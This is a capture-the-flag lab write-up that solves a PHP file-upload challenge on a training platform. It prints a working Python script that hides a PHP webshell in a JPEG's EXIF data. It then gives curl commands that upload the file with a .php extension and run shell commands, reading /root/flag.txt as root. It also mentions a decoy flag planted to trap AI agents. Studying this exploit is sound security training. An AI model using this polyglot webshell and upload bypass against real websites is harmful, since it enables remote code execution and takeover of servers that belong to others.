Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP
Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: decoy_flag_identification, file_extension_bypass, gd_library_content_validation_bypass, jpeg_php_polyglot_via_exif, php_webshell_upload
Summary
Task: PHP project management app with avatar upload validated by GD library, but preserving original file extension and not stripping EXIF data. Solution: craft a polyglot JPG/PHP with a webshell in EXIF ImageDescription, upload with .php extension to bypass GD validation, then execute commands to read /root/flag.txt.
Lab 307 — CrewHub — File Upload RCE via Polyglot JPG/PHP — Hackadvisor
Description
CrewHub is a project management platform where teams organize tasks, track milestones, and collaborate across projects. Users can create projects, assign tasks to team members, and customize their profiles. The application provides a full-featured dashboard with Kanban-style project boards, team directory, and user profile settings. One of the profile settings features allows users to upload a custom avatar image. The server implements content-based validation to ensure uploaded files are genuine images.
Target: https://526d97fc-af9c-40c1-84f8-e44eb8380b53.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Find a weakness in the file upload mechanism and leverage it to read the flag stored on the server.
Analysis
Reconnaissance
- Logged in with provided credentials via POST to
/login - Server stack: PHP 8.2.26 on nginx/1.25.5
- Profile page at
/profilehas an avatar upload form (POST /profile,enctype="multipart/form-data") - HTML comment reveals: "server validates image content using GD library for security"
- Current avatar path:
/uploads/avatar_3_default.jpg— naming pattern isavatar_{user_id}_{identifier}.{ext} - The app contained a decoy/honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}hidden in HTML comments and hidden divs, designed to trick automated scanners and AI agents — correctly identified and ignored
Vulnerability Identification
Three critical weaknesses combine to enable RCE:
- Extension preservation: The server preserves the original file extension from the upload filename. Uploading a file named
shell.phpresults in it being saved asavatar_3_XXXXX.php - PHP execution in uploads directory: PHP-FPM/nginx is configured to execute
.phpfiles in the/uploads/directory (confirmed byX-Powered-By: PHP/8.2.26header andContent-Type: text/htmlresponse) - EXIF data not stripped: While GD library validates the image is genuine, it does NOT strip EXIF metadata during processing — PHP code embedded in EXIF fields survives validation
The GD library validation ensures the uploaded file contains genuine image data (magic bytes, valid JPEG structure), so simply uploading a raw PHP file would fail. However, a polyglot file that is simultaneously a valid JPEG and contains PHP code in its EXIF metadata bypasses this check entirely.
Solution
Step 1: Craft the Polyglot JPG/PHP
Create a valid JPEG image with a PHP webshell embedded in the EXIF ImageDescription field:
python read-only • copy allowed#!/usr/bin/env python3 from PIL import Image import piexif # Create a valid 100x100 red JPEG image img = Image.new('RGB', (100, 100), color='red') # Embed PHP webshell in EXIF ImageDescription field exif_dict = {'0th': {}, 'Exif': {}, 'GPS': {}, '1st': {}, 'thumbnail': None} php_payload = '<?php system($_GET["cmd"]); ?>' exif_dict['0th'][piexif.ImageIFD.ImageDescription] = php_payload.encode() exif_bytes = piexif.dump(exif_dict) # Save as valid JPEG with embedded PHP img.save('exif_shell.jpg', 'JPEG', exif=exif_bytes, quality=95)
This creates a file that is simultaneously:
- A valid JPEG image (passes GD library validation — correct magic bytes, valid JFIF/EXIF structure)
- Contains executable PHP code in the EXIF data (the
<?php ... ?>tags are embedded in binary EXIF but still parseable by PHP interpreter)
Step 2: Upload with .php Extension
Upload the polyglot file with a .php extension while keeping the MIME type as image/jpeg:
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/profile" \ -F "avatar=@exif_shell.jpg;filename=shell.php;type=image/jpeg"
The server processing chain:
- Checked
Content-Type: image/jpeg✓ - Validated image content with GD library (valid JPEG) ✓
- Saved the file with the original
.phpextension asavatar_3_1778236796.php
Step 3: Achieve RCE
When nginx serves the uploaded file with .php extension, PHP-FPM parses it. The PHP interpreter scans the entire file content (including binary JPEG data) for <?php ... ?> tags, finds the payload in the EXIF data, and executes it:
bash read-only • copy allowed# Verify RCE — running as root curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=id" # uid=0(root) gid=0(root) groups=0(root)... # Find the flag file curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=find+/+-name+*flag*+-type+f+2>/dev/null" # /root/flag.txt # Read the flag curl -sk "$TARGET/uploads/avatar_3_1778236796.php?cmd=cat+/root/flag.txt" # FLAG{REDACTED}
Why This Works
- GD library validates image structure (headers, dimensions, color data) but does not sanitize EXIF metadata fields — PHP code in
ImageDescriptionsurvives validation - nginx/PHP-FPM routes any
.phpfile to the PHP interpreter, including files in/uploads/— there is no extension whitelist or directory-level execution restriction - PHP interpreter scans the entire file for
<?phpopening tags regardless of surrounding binary data — it finds and executes the payload embedded in EXIF - Server runs as root (uid=0), so the webshell has full filesystem access including
/root/flag.txt